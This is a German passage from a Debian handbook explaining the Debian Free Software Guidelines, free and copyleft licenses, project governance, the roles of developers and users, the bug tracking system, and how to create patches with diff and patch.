Gegner argumentieren, dass dieser Bereich die Leute von Freie-Software-Entsprechungen abbringt und dass er dem Prinzip, nur der Sache der freien Software zu dienen, widerspricht. Befürworter erklären rundweg, dass die meisten unfreien Pakete „fast frei“ sind und nur wegen ein oder zwei lästiger Einschränkungen nicht aufgenommen werden (wobei die häufigste das Verbot der kommerziellen Nutzung der Software ist). Durch das Verbreiten dieser Werke im nicht freien Zweig zeigen wir dem Autor indirekt, dass sein Werk bekannter und häufiger genutzt würde, wenn es in den Hauptzweig aufgenommen werden könnte. Er wird so freundlich eingeladen, seine Lizenz zu diesem Zweck zu ändern.

Nach einem ersten fehlgeschlagenen Versuch im Jahre 2004 erschien die vollständige Entfernung des unfreien Bereichs mehrere Jahre lang nicht mehr auf der Tagesordnung, zumal er zahlreiche nützliche Dokumente enthält, die nur deshalb hierhin verlegt worden waren, weil sie die neuen Bedingungen für den Hauptteil (main section) nicht erfüllten. Dies trifft vor allem auf bestimmte vom GNU-Projekt herausgegebene Programmdokumentationsdateien zu (insbesondere Emacs und Make).

Das Beibehalten des unfreien Zweigs stört vor allem die Free Software Foundation. Deshalb weigert sie sich, Debian als Betriebssystem offiziell zu empfehlen.

1.2.2. Die Debian-Richtlinien für freie Software

Dieses Referenzdokument legt fest, welche Software „frei genug“ ist, dass sie in Debian aufgenommen werden kann. Steht die Lizenz eines Programms in Einklang mit diesen Prinzipien, kann es in den Hauptzwieg übernommen werden. Andernfalls, und vorausgesetzt, dass seine freie Verbreitung erlaubt ist, ist es möglicherweise im unfreien Bereich zu finden. Der unfreie Bereich ist kein offizieller Teil von Debian, sondern ein Service, der den Anwendern zusätzlich angeboten wird.

Dieser Text ist nicht nur ein Auswahlkriterium für Debian, sondern ist zu einer Autorität in Sachen freier Software geworden und hat als Grundlage für die „Open Source“-Definition gedient. Historisch gesehen ist er eine der ersten formalen Definitionen des Konzepts der „freien Software“.

Die GNU General Public License, die BSD-Lizenz und die Artistic License sind Beispiele traditioneller freier Lizenzen, die die in diesem Text aufgeführten neun Punkte beachten. Im Folgenden ist der Text wiedergegeben, wie er auf der Debian-Website veröffentlicht wurde.

→ http://www.debian.org/social_contract#guidelines

1. Unbeschränkte Weitergabe.  Ein Bestandteil der Debian-Distribution darf durch seine Lizenz nicht verhindern, dass irgendjemand diese Software als Bestandteil einer Softwaredistribution, die Programme aus den verschiedensten Quellen enthält, verkauft oder weitergibt. Die Lizenz darf keine Abgaben oder sonstigen Leistungen für einen solchen Verkauf fordern.

ZURÜCK ZU DEN GRUNDLAGEN Freie Lizenzen

Die GNU GPL, die BSD-Lizenz und die Artistic License entsprechen alle den Debian-Richtlinien für freie Software, obwohl sie alle sehr unterschiedlich sind.

Die von der FSF (Free Software Foundation) verwendete und geförderte GNU GPL ist die gebräuchlichste. Ihr wesentliches Merkmal ist, dass sie genau so für jedes abgeleitete Werk gilt, das weiterverbreitet wird: ein Programm, das GPL-Code enthält oder nutzt, darf nur in Übereinstimmung mit ihren Bestimmungen verbreitet werden. So verbietet sie jegliche Wiederverwendung in einer proprietären Anwendung. Dies stellt ernste Probleme für die Wiederverwendung von GPL-Code in freier Software dar, die mit dieser Lizenz nicht kompatibel ist. Von daher ist es manchmal nicht möglich, ein Programm, das unter einer anderen Freie-Software-Lizenz veröffentlicht ist, mit einer unter der GPL verbreiteten Bibliothek zu verbinden. Andererseits ist diese Lizenz nach amerikanischem Recht sehr stabil: Rechtsanwälte der FSF waren an ihrem Entwurf beteiligt und haben Lizenzverletzer häufig zu einem gütlichen Vergleich mit der FSF gezwungen, ohne vor Gericht zu gehen.

→ http://www.gnu.org/copyleft/gpl.html

Die BSD-Lizenz ist die am wenigsten einschränkende: Alles ist erlaubt, einschließlich der Verwendung modifizierten BSD-Codes in einer proprietären Anwendung. Selbst Microsoft benutzt sie, indem es die TCP/IP-Schichten von Windows NT von denen des BSD-Kernels ableitet.

→ http://www.opensource.org/licenses/bsd-license.php

Schließlich stellt die Artistic License einen Kompromiss zwischen den anderen beiden dar: Einbeziehung von Code in einer proprietären Anwendung ist erlaubt, jedoch muss jegliche Veränderung offengelegt werden.

→ http://www.opensource.org/licenses/artistic-license-2.0.php

Der vollständige Text dieser Lizenzen steht auf jedem Debian-System unter /usr/share/common-licenses/ zur Verfügung.

2. Quellcode.  Das Programm muss im Quellcode vorliegen, und es muss die Weitergabe sowohl im Quellcode als auch in kompilierter Form erlaubt sein.

3. Weiterführende Arbeiten.  Die Lizenz muss Veränderungen und weiterführende Arbeiten gestatten und es erlauben, dass diese unter den gleichen Lizenzbedingungen weitergegeben werden dürfen wie die Original-Software.

4. Integrität des ursprünglichen Quellcodes.  Die Lizenz darf die Weitergabe von verändertem Quellcode nur dann verbieten, wenn sie die Weitergabe von sogenannten „Patch-Dateien“ mit dem Quellcode erlaubt, die dazu dienen, das Programm vor seiner Herstellung zu modifizieren. Die Lizenz muss ausdrücklich die Weitergabe der aus dem veränderten Quellcode erzeugten Programme erlauben. Die Lizenz darf fordern, dass die veränderten Programme einen anderen Namen oder eine andere Versionsnummer tragen müssen. (Dies ist ein Kompromiss. Die Debian-Gruppe ermutigt alle Autoren, Veränderungen an Dateien sowohl im Quellcode als auch in Binärform zuzulassen).

5. Keine Diskriminierung von Personen oder Gruppen.  Die Lizenz darf keine Person oder Gruppe von Personen diskriminieren.

6. Keine Diskriminierung von Einsatzbereichen.  Die Lizenz darf keine Einschränkungen hinsichtlich des Einsatzbereichs vornehmen. Beispielsweise darf sie nicht verhindern, dass das Programm geschäftlich oder für genetische Forschungen verwendet wird.

7. Weitergabe der Lizenz.  Die mit einem Programm verbundenen Rechte müssen für alle gelten, die das Programm erhalten, ohne dass es für sie notwendig ist, eine zusätzliche Lizenz zu erwerben.

8. Keine spezielle Lizenz für Debian.  Die mit dem Programm verbundenen Rechte dürfen nicht davon abhängig sein, dass das Programm Teil des Debian-Systems ist. Falls das Programm aus der Debian-Distribution herausgenommen wird und ohne Debian genutzt oder vertrieben werden soll, ansonsten aber im Rahmen der Programmlizenz bleibt, so müssen alle Parteien, die das Programm bekommen, die gleichen Rechte haben, wie sie im Zusammenhang mit dem Debian-System gewährt wurden.

9. Keine Auswirkungen auf andere Programme.  Die Lizenz darf keine Beschränkungen enthalten, die Auswirkungen auf andere Software hat, die mit diesem Programm weitergegeben wird. Beispielsweise darf die Lizenz nicht vorschreiben, dass alle anderen Programme auf dem gleichen Medium freie Software sein müssen.

ZURÜCK ZU DEN GRUNDLAGEN Copyleft

Copyleft ist ein Grundsatz, der darin besteht, Urheberrechte zur Gewährleistung der Freiheit eines Werkes und seiner Derivate zu verwenden, statt die Nutzungsrechte zu beschränken, wie es bei proprietärer Software der Fall ist. Es ist auch ein Wortspiel mit dem Begriff „Copyright“. Richard Stallman kam auf diese Idee, als ein Freund, der Wortspiele liebt, auf einen an ihn adressierten Umschlag „Copyleft: all rights reversed“ schrieb. Copyleft erzwingt die Bewahrung aller ursprünglichen Freiheiten bei der Verbreitung einer originären oder modifizierten Version eines Werkes (üblicherweise ein Programm). So ist es nicht möglich, ein Programm als proprietäre Software zu vertreiben, wenn es von Code eines unter Copyleft veröffentlichten Programms abgeleitet ist.

Eine der bekanntesten Familien von Copyleft-Lizenzen ist natürlich die GNU GPL und deren Ableger, die GNU LGPL oder GNU Lesser General Public License und die GNU FDL oder GNU Free Documentation License. Leider sind die Copyleft-Lizenzen untereinander nicht kompatibel. Deshalb ist es am besten, nur eine von ihnen zu verwenden.

GEMEINSCHAFT Bruce Perens, ein umstrittener Leiter

Bruce Perens war der zweite Leiter des Debian-Projekts direkt nach Ian Murdock. Wegen seiner dynamischen und autoritären Methoden war er sehr umstritten. Dennoch bleibt er ein wichtiger Unterstützer des Projekts, dem Debian insbesondere für das Editieren der bekannten „Debian-Richtlinien für freie Software“ zu Dank verpflichtet ist, einer ursprünglich auf Ean Schuessler zurückgehenden Idee. Anschließend leitete Bruce daraus die bekannte „Open-Source-Definition“ ab, bei der er alle Verweise auf Debian entfernte.

→ http://www.opensource.org/

Sein Ausscheiden aus dem Projekt verlief recht emotional, aber Bruce blieb Debian eng verbunden, indem er weiterhin in politischen und wirtschaftlichen Kreisen für diese Distribution warb. Er taucht auch noch sporadisch in den Mailing-Listen auf, um Ratschläge zu geben und seine jüngsten Initiativen zugunsten von Debian vorzustellen.

Als abschließende Anekdote sei erwähnt, dass die Anregung für die verschiedenen „Codenamen“ der Debian-Versionen auf Bruce zurückzuführen ist (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 (not released yet) — Stretch, 10 (not released yet) — Buster, Unstable — Sid). Sie sind von den Namen der Figuren in dem Film Toy Story abgeleitet. Dieser vollständig aus Computergrafik bestehende Animationsfilm ist von Pixar Studios produziert worden, bei denen Bruce zu der Zeit, als er das Debian-Projekt leitete, beschäftigt war. Dem Namen „Sid“ kommt besondere Bedeutung zu, da er auf Dauer der Unstable-Variante zugeordnet ist. In dem Film war diese Figur der Nachbarjunge, der ständig Spielzeug zerbrach - also hüten Sie sich davor, Unstable zu nahe zu kommen. Darüber hinaus ist Sid auch ein Akronym für „Still in Development“ (noch in der Entwicklung).

1.3. Das Innenleben des Debian-Projekts

Die reichlichen vom Debian-Projekt erzielten Endergebnisse entstehen zu gleichen Teilen aus der von erfahrenen Debian-Entwicklern geleisteten Arbeit an der Infrastruktur, aus individueller und gemeinsamer Entwicklungsarbeit an Debian-Paketen wie auch aus Rückmeldungen der Anwender.

1.3.1. Die Debian-Entwickler

Debian-Entwickler haben verschiedene Aufgaben, und als offizielle Projektmitglieder haben sie großen Einfluss auf die Richtung, die das Projekt einschlägt. Ein Debian-Entwickler ist üblicherweise für mindestens ein Paket zuständig, kann sich aber je nach Wunsch und verfügbarer Zeit an mehreren Teams beteiligen und so größere Verantwortung innerhalb des Projekts übernehmen.

→ http://www.debian.org/devel/people

→ http://www.debian.org/intro/organization

→ http://wiki.debian.org/Teams

HILFSPROGRAMM Entwicklerdatenbank

Debian verfügt über eine Datenbank, die alle beim Projekt registrierten Entwickler und ihre dazugehörigen Daten enthält (Anschrift, Telefonnummer, geografische Koordinaten wie Längen- und Breitengrad usw.). Einige der Informationen (Vor- und Zuname, Land, Benutzername beim Projekt, IRC-Benutzername, GnuPG-Schlüssel usw.) sind öffentlich und im Internet zugänglich.

→ http://db.debian.org/

Die geografischen Koordinaten ermöglichen es, eine Karte zu erstellen, die die Standorte aller Entwickler rund um den Globus anzeigt. Debian ist wahrhaft ein internationales Projekt: seine Entwickler sind auf allen Kontinenten zu finden, auch wenn die Mehrheit im Westen angesiedelt ist.

Abbildung 1.1. Weltweite Verteilung der Debian-Entwickler

Paketbetreuung ist eine recht straff organisierte Arbeit, sehr stark dokumentiert und sogar reglementiert. Sie muss wirklich mit alle in den Debian-Richtlinien festgelegten Standards übereinstimmen. Zum Glück gibt es zahlreiche Hilfsprogramme, die die Arbeit eines Betreuers erleichtern. So kann sich der Entwickler auf die Besonderheiten seines Pakets und auf komplexere Aufgaben wie die Fehlerbeseitigung konzentrieren.

→ http://www.debian.org/doc/debian-policy/

ZURÜCK ZU DEN GRUNDLAGEN Paketbetreuung, die Arbeit eines Entwicklers

Ein Paket zu betreuen, besteht zunächst einmal darin, ein Programm zu „paketieren“. Dies bedeutet insbesondere, die Installationsweise festzulegen, sodass das Programm nach seiner Installation funktioniert und die Regeln, die sich das Debian-Projekt gegeben hat, einhält. Das Ergebnis dieser Arbeit wird in Form einer .deb-Datei abgespeichert. Das tatsächliche Installieren des Programms erfordert dann nur noch das Entpacken dieses komprimierten Archivs und die Ausführung einiger darin enthaltener Vor- und Nachinstallationsskripte.

Nach diesem ersten Schritt beginnt die Betreuung erst richtig: Aktualisierungen bereitstellen, um der jüngsten Version der Debian-Richtlinien nachzukommen, von Anwendern gemeldete Fehler beheben, eine neue Ursprungsversion des Programms aufnehmen, dessen Enwicklung natürlich gleichzeitig weitergeht. Zum Beispiel stand das Programm zum Zeitpunkt der ursprünglichen Paketierung in Version 1.2.3. Nach einigen Monaten der Entwicklung veröffentlichen die ursprünglichen Verfasser eine neue stabile Version mit der Versionsnummer 1.4.0. Zu diesem Zeitpunkt sollte der Debian-Betreuer das Paket aktualisieren, sodass Anwender die Verbesserungen der letzten stabilen Version nutzen können.

Die Richtlinien, ein wesentliches Element des Debian-Projekts, legen die Normen fest, die sowohl die Qualität der Pakete sicherstellen als auch die Interoperabilität der Distribution vervollkommnen. Dank dieser Richtlinien bleibt Debian trotz seiner gewaltigen Größe konsistent. Sie sind nicht in Stein gehauen, sondern entwickeln sich aufgrund von Vorschlägen, die in der Mailingliste <debian-policy@lists.debian.org> gemacht werden, ständig weiter. Änderungen, denen alle Betroffenen zustimmen, werden von einer kleinen Gruppe von Betreuern, die keine redaktionelle Zuständigkeit haben, entgegengenommen und in den Text eingearbeitet. (Sie nehmen nur die Veränderungen auf, auf die sich die Debian-Entwickler, die Mitglied der oben genannten Liste sind, geeinigt haben.) Sie können die aktuellen Veränderungsvorschläge im Fehlerverfolgungssystem nachlesen:

→ http://bugs.debian.org/debian-policy

GEMEINSCHAFT Überarbeitung der Richtlinien

Jeder kann eine Änderung der Debian-Richtlinien vorschlagen, indem er einfach einen Fehlerbericht mit der Einstufung „wishlist“ für das Paket debian-policy einreicht. Der dann einsetzende Prozess ist in /usr/share/doc/debian-policy/Process.html dokumentiert: Falls anerkannt wird, dass zur Lösung des genannten Problems eine neue Regel in die Debian-Richtlinien eingeführt werden muss, beginnt eine Diskussion hierüber in der Mailingliste <debian-policy@lists.debian.org>, die fortdauert, bis Übereinstimmung erzielt und ein Vorschlag erstellt ist. Jemand formuliert dann eine gewünschte Änderung und reicht sie zur Genehmigung ein (in Form eines zu begutachtenden Patches). Sobald zwei weitere Entwickler bestätigen, dass die vorgeschlagene Änderung dem in der vorhergehenden Diskussion erzielten Konsens entspricht (sie „sekundieren“), kann der Vorschlag von einem der Betreuer des Pakets debian-policy in das offizielle Dokument aufgenommen werden. Falls dieser Prozess bei einem dieser Schritte scheitert, schließen die Betreuer diese Fehlerstelle und stufen den Vorschlag als abgelehnt ein.

DEBIAN-RICHTLINIEN Die Dokumentation

Die Dokumentation jedes Pakets ist unter /usr/share/doc/paket/ gespeichert. Dieses Verzeichnis enthält häufig eine README.Debian-Datei, die die vom Paketbetreuer vorgenommenen Debian-spezifischen Anpassungen beschreibt. Es ist daher ratsam, diese Datei vor einer etwaigen Konfigurierung zu lesen, um so seine Erfahrungen zu nutzen. Es findet sich hier auch eine changelog.Debian.gz-Datei, die die vom Debian-Betreuer von einer Version zur nächsten vorgenommenen Änderungen darlegt. Diese Datei ist nicht zu verwechseln mit der changelog.gz-Datei, die die von den ursprünglichen Entwicklern vorgenommenen Änderungen erläutert. Die copyright-Datei enthält Informationen über die Autoren und über die Lizenz, unter der die Software steht. Schließlich kann es auch noch eine NEWS.Debian.gz-Datei geben, die es dem Debian-Entwickler ermöglicht, wichtige Aktualisierungsinformationen mitzuteilen; wenn man apt-listchanges installiert, zeigt apt diese Mitteilungen automatisch an. Alle übrigen Dateien sind für die jeweilige Software spezifisch. Wir möchten besonders auf das Unterverzeichnis examples hinweisen, das häufig Beispielkonfigurationsdateien enthält.

Die Richtlinien decken die technischen Aspekte des Paketierens sehr gut ab. Aus der Größe des Projekts ergeben sich jedoch auch organisatorische Probleme; mit diesen beschäftigt sich die Debian-Verfassung, die eine Struktur und ein Verfahren für die Entscheidungsfindung festlegt. Mit anderen Worten, ein formales System für das Projektmanagement.

Diese Verfassung definiert eine bestimmte Anzahl von Rollen und Positionen sowie für jede die Verantwortlichkeiten und Befugnisse. Es ist insbesondere beachtenswert, dass Debian-Entwickler stets eine abschließende Entscheidungsbefugnis durch einen allgemeinen Beschluss haben, bei dem eine qualifizierte Mehrheit von drei Vierteln (75%) der Stimmen erforderlich ist, um wesentliche Änderungen vorzunehmen (wie zum Beispiel solche mit Auswirkung auf die Grundlagendokumente). Indes wählen die Entwickler jedes Jahr einen „Leiter“, der sie in Sitzungen repräsentiert und der die interne Koordination zwischen den verschiedenen Teams sicherstellt. Diese Wahl ist immer eine Zeit erbitterter Diskussionen. Die Rolle dieses Leiters ist in keinem Dokument ausdrücklich definiert: Kandidaten für diese Stelle schlagen gewöhnlich ihre eigene Definition dieser Position vor. In der Praxis bestehen die Rollen des Leiters unter anderem darin, gegenüber den Medien als Repräsentant aufzutreten, „interne“ Teams zu koordinieren und dem Projekt allgemeine Orientierungshilfen anzubieten, auf die sich die Entwickler beziehen können: Die Ansichten des DPL werden stillschweigend von der Mehrheit der Projektmitglieder anerkannt.

Im Besonderen haben die Leiter wirkliche Autorität; Ihre Stimme entscheidet bei Stimmengleichheit; sie können jede Entscheidung treffen, die nicht bereits unter die Zuständigkeit eines anderen fällt, und sie können ihre Verpflichtungen teilweise delegieren.

Seit seiner Gründung wurde das Projekt der Reihe nach von Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli und Lucas Nussbaum geleitet.

Die Verfassung sieht auch ein „technisches Komitee“ vor. Die wesentliche Rolle dieses Komitees besteht darin, in technischen Fragen zu entscheiden, wenn die beteiligten Entwickler untereinander kein Einvernehmen erzielt haben. Daneben spielt dieser Ausschuss eine beratende Rolle für jeden Entwickler, der eine Entscheidung, für die er verantwortlich ist, nicht trifft. Man sollte beachten, dass das Komitee sich erst dann einmischt, wenn es hierzu von einer der beteiligten Parteien aufgefordert wird.

Schließlich bestimmt die Verfassung die Position eines „Projekt-Schriftführers“, dessen Aufgabe darin besteht, die Abstimmungen im Zusammenhang mit den verschiedenen Wahlen und allgemeinen Beschlüssen zu organisieren.

Das Verfahren des „allgemeinen Beschlusses“ ist in der Verfassung von der anfänglichen Diskussionsphase bis zur abschließenden Stimmenauszählung detailliert beschrieben. Für weitere Einzelheiten siehe:

→ http://www.debian.org/devel/constitution.de.html

Kultur Flame-War, eine Diskussion, die Feuer fängt

Ein „Flame-War“ ist eine äußerst leidenschaftliche Debatte, die häufig damit endet, dass Teilnehmer sich gegenseitig beschimpfen, nachdem auf beiden Seiten alle vernünftigen Argumente erschöpft sind. Bestimmte Themen sind häufiger Polemiken ausgesetzt als andere (der jeweils bevorzugte Text-Editor - „Bevorzugen Sie vi oder emacs?“ - ist ein häufiger Kandidat). Die Themen lösen oft einen sehr schnellen E-Mail-Austausch aus, allein schon aufgrund der grossen Anzahl an Leuten mit einer Meinung zu dem Thema (jeder) und des sehr persönlichen Charakters solcher Fragestellungen.

Normalerweise ergibt sich nichts wirklich Nützliches aus solchen Diskussionen; die grundsätzliche Empfehlung lautet: halten Sie sich aus solchen Debatten heraus und überfliegen Sie allenfalls ihren Inhalt, es wäre Zeitverschwendung, sie vollständig durchzulesen.

Auch wenn diese Verfassung einen demokratischen Anschein erweckt, sieht die tägliche Wirklichkeit ziemlich anders aus: Natürlich folgt Debian den Regeln der Freien Software, der „Tu-okratie“: Wer etwas tut, entscheidet auch. Viel Zeit kann darauf verschwendet werden, die jeweiligen Vorteile verschiedener Lösungswege für ein Problem zu diskutieren; am Ende wird die Lösung gewählt, die als erste funktioniert und zufriedenstellend ist ... das ergibt sich aus der Zeit, die eine sachkundige Person darin investiert hat.

Dies ist der einzige Weg, sich Sporen zu verdienen: Etwas Nützliches zu tun und zu zeigen, dass man gut gearbeitet hat. Bei Debian agieren viele „Verwaltungsteams“ aufgrund einer Kootation (Wahl von Mitgliedern durch die übrigen Mitglieder) unter Bevorzugung von Freiwilligen, die bereits erfolgreich mitgewirkt und ihre Sachkenntnis bewiesen haben. Die Arbeitsweise dieser Teams ermöglicht es interessierten Entwicklen direkt mitzuwirken ohne erweiterte Rechte haben zu müssen. Deshalb wird Debian häufig als „Meritokratie“ bezeichnet.

KULTUR Meritokratie, die Herrschaft des Wissens

Meritokratie ist eine Regierungsform, bei der die Macht von denen mit den größten Verdiensten ausgeübt wird. Für Debian ist Verdienst ein Maßstab für Kompetenz, die ihrerseits beurteilt wird, indem einer oder mehrere andere im Projekt vorangegangenes Wirken beobachten (Stefano Zacchiroli, ein ehemaliger Projektleiter, spricht von „Tu-okratie“, womit „Macht für diejenigen, die etwas fertigbringen“ gemeint ist). Ihr((Bezug unklar)) einfaches Vorhandensein ist Anzeichen für ein gewisses Kompetenzniveau; ihre Leistungen bestehen üblicherweise aus freier Software mit abrufbarem Quellcode, der zur Beurteilung seiner Qualität von Fachkollegen leicht überprüft werden kann.

Diese effektive Arbeitsweise gewährleistet die Qualität der Mitwirkenden in den zentralen Debian-Teams. Diese Methode ist keineswegs perfekt und gelegentlich finden sich auch Leute, die diese Arbeitsweise nicht akzeptieren. Die Auswahl von Entwicklern für die Teams mag ein wenig willkürlich oder sogar unfair erscheinen. Außerdem hat nicht jeder dieselbe Auffassung von der Leistung, die von diesen Teams erwartet wird. Für einige ist es nicht akzeptabel, acht Tage auf das Einfügen eines neuen Debian-Pakets warten zu müssen, während andere problemlos drei Wochen lang geduldig warten. Daher gibt es regelmäßig Beschwerden der Unzufriedenen über die „Arbeitsqualität“ mancher Teams.

GEMEINSCHAFT Integration neuer Betreuer

Am häufigsten wird jenes Team kritisiert, das für die Zulassung neuer Entwickler zuständig ist. Zugegebenermaßen hat das Debian-Projekt im Laufe der Jahre an die Entwickler, die es akzeptiert, immer höhere Ansprüche gestellt. Dies mag einigen Leuten ungerecht erscheinen, aber wir müssen akzeptieren, dass bei der Sicherstellung der Qualität und Integrität von allem, was Debian für seine Anwender erbringt, anfangs kleine Herausforderungen in einer Gemeinschaft von mehr als tausend Leuten wesentlich größer geworden sind.

Zudem wird das Annahmeverfahren mit einer Überprüfung der Kandidatur durch ein kleines Team, die Debian Account Manager, abgeschlossen. Diese Manager sind deshalb Kritik besonders ausgesetzt, da sie das letzte Wort über die Aufnahme oder Ablehnung eines Freiwilligen in die Debian-Entwicklergemeinschaft haben. In der Praxis müssen sie manchmal die Annahme einer Person so lange verschieben, bis sie die Arbeitsweise des Projekts besser kennengelernt hat. Man kann natürlich auch zu Debian beitragen, bevor man als offizieller Entwickler angenommen ist, indem man von derzeitigen Entwicklern unterstützt wird.

1.3.2. Die aktive Rolle der Anwender

Man mag sich fragen, ob es wichtig ist, unter denen, die innerhalb des Debian-Projekts arbeiten, auch die Anwender zu erwähnen, doch die Antwort ist definitiv "Ja": sie spielen im Projekt eine lebenswichtige Rolle. Sie sind keineswegs „passiv“, sondern einige Anwender verwenden Entwicklungsversionen von Debian und schicken regelmäßig Fehlerberichte ein, in denen sie auf Probleme hinweisen. Andere gehen noch weiter und reichen Verbesserungsvorschläge ein, indem sie einen Fehlerbericht mit der Einstufung „wishlist“ einschicken oder sogar Korrekturen des Quellcodes, „Patches“ genannt, einreichen (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Patch, so schickt man eine Fehlerkorrektur ein).

HILFSPROGRAMM Fehlerdatenbank

Die Debian-Fehlerdatenbank (BTS = Bug Tracking System) wird von großen Teilen des Projekts genutzt. Der öffentliche Teil (die Webschnittstelle) ermöglicht es Anwendern, sich alle gemeldeten Fehler anzusehen und falls gewünscht, eine nach verschiedenen Kriterien sortierte Liste anzeigen zu lassen, wie zum Beispiel: betroffenes Paket, Schwere des Fehlers, Status, Anschrift des Meldenden, Anschrift des zuständigen Betreuers, Kennzeichnung usw. Es ist auch möglich, die vollständige History aller bisherigen Diskussionen jedes einzelnen Fehlers durchzusehen.

Unter der Oberfläche ist das Debian BTS E-Mail basierend: Alle Informationen, die es speichert, stammen aus Meldungen, die von verschiedenen beteiligten Personen eingesandt worden sind. Jede an <12345@bugs.debian.org> geschickte E-Mail wird so der Verlaufsgeschichte des Fehlers Nr. 12345 zugeordnet. Bevollmächtigte Personen können einen Fehler „schließen“, indem sie eine Nachricht mit einer Begründung dieser Entscheidung an <12345-done@bugs.debian.org> schicken (ein Fehler wird geschlossen, wenn das angezeigte Problem gelöst oder nicht mehr von Bedeutung ist). Ein neuer Fehler wird gemeldet, indem man eine E-Mail in einem bestimmten Format, das das betroffene Paket bezeichnet, an <submit@bugs.debian.org> schickt. Die Adresse <control@bugs.debian.org> ermöglicht es, alle mit einem Fehler verbundenen „Meta-Informationen“ zu bearbeiten.

Das Debian BTS hat noch weitere funktionelle Merkmale, wie die Verwendung von Markierungen zur Kennzeichnung von Fehlern. Weitere Informationen finden Sie unter

→ http://www.debian.org/Bugs/

WÖRTERVERZEICHNIS Schwere eines Fehlers

Die Schwere eines Fehlers ordnet dem gemeldeten Problem formell ein Bedeutungsmaß zu. Faktisch sind nicht alle Fehler gleich wichtig, zum Beispiel ist ein Schreibfehler in einer Handbuchseite nicht mit einer Sicherheitslücke in einer Serversoftware zu vergleichen.

Debian benutzt eine breite Skala zur genauen Beschreibung der Schwere eines Fehlers. Jeder Grad ist exakt definiert, um seine Auswahl zu erleichtern.

→ http://www.debian.org/Bugs/Developer#severities

Des Weiteren möchten viele zufriedene Anwender der von Debian angebotenen Leistungen selbst einen Beitrag zum Projekt leisten. Da nicht jeder ausreichend große Sachkenntnisse in der Programmierung hat, kann er auch bei der Übersetzung und Überprüfung der Dokumentation helfen. Es gibt sprachspezifische Mailinglisten zur Koordination dieser Arbeit, für Deutsch zum Beispiel: <debian-l10n-german@lists.debian.org>.

→ http://lists.debian.org/debian-user-german/

ZURÜCK ZU DEN GRUNDLAGEN Was sind i18n und l10n?

„i18n“ und „l10n“ sind die Abkürzungen für die Wörter „internationalization“ (Internationalisierung) und „localization“ (Lokalisierung), wobei jeweils der erste und letzte Buchstabe jedes Wortes angegeben sind sowie die Anzahl der Buchstaben in seiner Mitte.

Ein Programm zu „internationalisieren“ heißt, es so zu verändern, dass es übersetzt (lokalisiert) werden kann. Dies bedeutet, dass ein Programm, das ursprünglich geschrieben wurde, um in einer Sprache zu funktionieren, teilweise umgeschrieben werden muss, um es für alle Sprachen zu öffnen.

Ein Programm zu „lokalisieren“ heißt, die ursprünglichen Meldungen (häufig in Englisch) in eine andere Sprache zu übersetzen. Hierzu muss es bereits internationalisiert worden sein.

Kurz gesagt bereitet die Internationalisierung die Software für eine Übersetzung vor, die dann durch die Lokalisierung ausgeführt wird.

ZURÜCK ZU DEN GRUNDLAGEN Patch, so schickt man eine Fehlerkorrektur ein

Ein Patch ist eine Datei, die Änderungen beschreibt, die auf eine oder mehrere Referenzdateien angewendet werden sollen. Insbesondere enthält sie eine Liste von Codezeilen, die entfernt oder hinzugefügt werden sollen, wie auch (manchmal) Zeilen, die dem Referenztext entnommen sind, um so die Veränderungen im Kontext zu ersetzen (sie ermöglichen es, die Platzierung der Änderungen zu bestimmen, wenn sich die Zeilennummern geändert haben).

Das Hilfsprogramm, das verwendet wird, um die in einer derartigen Datei vorgenommenen Veränderungen anzuwenden, heißt einfach patch. Das Hilfsprogramm, das sie erstellt, heißt diff und wird wie folgt benutzt:

$ diff -u file.old file.new >file.patch

Die file.patch-Datei enthält die Anweisungen, um den Inhalt von file.alt in file.neu zu ändern. Wir können sie jemandem zuschicken, der sie dann dazu verwenden kann, file.neu folgendermaßen aus den anderen beiden neu zu erstellen:

$ patch -p0 file.alt <file.patch

Die Datei file.alt ist jetzt mit der Datei file.neu identisch.

HILFSPROGRAMM Einen Fehler mit reportbug melden

Das Hilfsprogramm reportbug erleichtert es, Fehlerberichte zu einem Debian-Paket einzusenden. Es hilft sicherzustellen, dass der betreffende Fehler nicht schon früher eingereicht worden ist und so Redundanz im System zu vermeiden. Es erinnert den Benutzer an die Definitionen der Schweregrade, um so eine möglichst genaue Meldung abzugeben (der Entwickler kann, falls nötig, diese Parameter später immer noch fein einstellen). Es hilft, einen vollständigen Fehlerbericht zu schreiben, ohne dass der Benutzer die genaue Syntax kennen muss, indem es ihn schreibt und der Benutzer ihn überarbeiten kann. Dieser Bericht wird dann über einen E-Mail-Server verschickt (standardmäßig lokal, aber reportbug kann auch einen entfernten Server verwenden).

Dieses Hilfsprogramm zielt vor allem auf die Entwicklungsversionen, in denen Fehler vorrangig beseitigt werden. Tatsächlich sind Änderungen in stabilen Debian-Versionen nicht gern gesehen und sehr selten, zu den wenigen Ausnahme gehören Sicherheitsaktualisierungen oder andere wichtige Updates (falls zum Beispiel ein Paket überhaupt nicht funktioniert). Die Korrektur eines kleineren Fehlers in einem Debian-Paket muss daher bis zur nächsten stabilen Version warten.

Diese Infrastruktur zur Benutzerbeteiligung wurden durch das Verhalten der Anwender optimiert. Sie sind keineswegs eine Gruppe isolierter Personen, sondern Teil einer wahren Gemeinschaft, in der zahlreiche Austauschprozesse stattfinden. Wir möchten vor allem auf die beeindruckende Aktivität in der Mailingliste für Anwenderdiskussionen hinweisen: <debian-user@lists.debian.org> (Kapitel 7, Probleme lösen und relevante Informationen finden beschreibt dies ausführlicher).

Die Anwender helfen sich (und anderen) nicht nur technischen Problemen, die sie selbst betreffen, sondern diskutieren auch darüber, wie sie am besten zum Debian-Projekt beitragen und es dadurch voranbringen können - Diskussionen, die häufig zu Verbesserungsvorschlägen führen.

Da Debian keine Gelder für Eigenwerbungskampagnen ausgibt, spielen seine Benutzer bei seiner Verbreitung eine wichtige Rolle, indem sie es durch Mundpropaganda bekannt machen.

Diese Methode funktioniert recht gut, da Debian-Anhänger auf allen Ebenen der Gemeinschaft der freien Software zu finden sind: von Installationspartys (Treffen, bei denen erfahrene Anwender Neulingen helfen, das System zu installieren), die von örtlichen LUG (Linux User Groups) organisiert werden, bis zu Vereinsständen auf großen Technikkongressen zum Thema Linux usw.

